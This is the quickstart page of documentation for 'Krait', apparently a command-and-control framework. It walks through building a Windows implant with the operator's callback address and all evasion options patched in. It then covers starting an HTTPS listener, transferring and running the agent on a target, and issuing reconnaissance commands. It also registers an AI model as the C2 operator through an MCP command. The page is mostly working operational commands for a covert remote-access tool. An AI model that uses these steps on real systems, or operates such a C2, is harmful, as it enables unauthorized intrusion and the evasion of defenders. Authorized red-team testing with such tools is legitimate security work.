Quickstart
First callback in 5 minutes
First callback in 5 minutes. This guide assumes a Linux host running the Krait server and a Windows target VM.
Prerequisites
Linux host:
- Any x86_64 Linux distribution (Ubuntu 20.04+, Debian 11+, RHEL 8+, Fedora 36+)
- Python 3.8+ (for the template patcher tool only)
Windows target:
- Any Windows 10/11 x64 host you’re authorized to test against
Step 1: Extract the Release
tar xzf krait-2.x.x-standard.tar.gz
cd krait-2.x.x-standard
Step 2: Create an Operator Account
./server/krait-server operator add adam
# Enter password when prompted
Step 3: Build an Agent
Krait ships with pre-compiled agent templates for every transport, format, and traffic profile combination. Build an agent from the operator console:
krait> build windows -s <YOUR_IP> -p 8443 -i 10 -j 10 \
--profile slack --all-evasion
Or use the Web UI Build page at http://localhost:50051/build.
This patches your C2 address and evasion flags directly into a pre-compiled template — no compiler needed.
See Templates & Building for the full template matrix, all build options, and Linux builds.
Step 4: Start the Server
./server/krait-server server start --port 8443 --ui
The HTTPS listener starts on port 8443. The internal API and web UI are on port 50051.
Step 5: Connect
CLI:
./server/krait-server connect --user adam
Web UI:
Open http://localhost:50051/ in a browser and log in.
MCP (AI operator):
claude mcp add krait -- ./server/krait-server mcp --user adam --password <pw>
Step 6: Deploy the Agent
Transfer agent.exe to the Windows target and execute it. The agent should call back within one poll interval (10 seconds with the flags above).
Step 7: Interact
krait> sessions
krait> use <agent_id>
krait [abc12345]> whoami
krait [abc12345]> ps
krait [abc12345]> sysinfo
krait [abc12345]> hostname
What’s Next
- Templates & Building — Template matrix and build options
- Command Reference — Full command list with examples
- Evasion Guide — What each technique does and when to use it
- Transport Guide — Choosing the right transport for your scenario
- Deployment Guide — Production setup with redirectors